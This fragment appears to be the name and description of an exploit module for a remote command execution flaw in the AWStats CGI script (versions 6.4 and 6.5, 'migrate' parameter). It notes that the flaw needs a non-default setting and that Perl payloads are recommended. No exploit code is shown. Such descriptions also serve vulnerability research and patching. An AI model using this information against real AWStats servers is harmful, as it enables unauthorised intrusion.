'Name' => 'AWStats migrate Remote Command Execution',

This module exploits an arbitrary command execution vulnerability in the
AWStats CGI script. AWStats v6.4 and v6.5 are vulnerable. Perl based
payloads are recommended with this module. The vulnerability is only
present when AllowToUpdateStatsFromBrowser is enabled in the AWstats
configuration file (non-default).
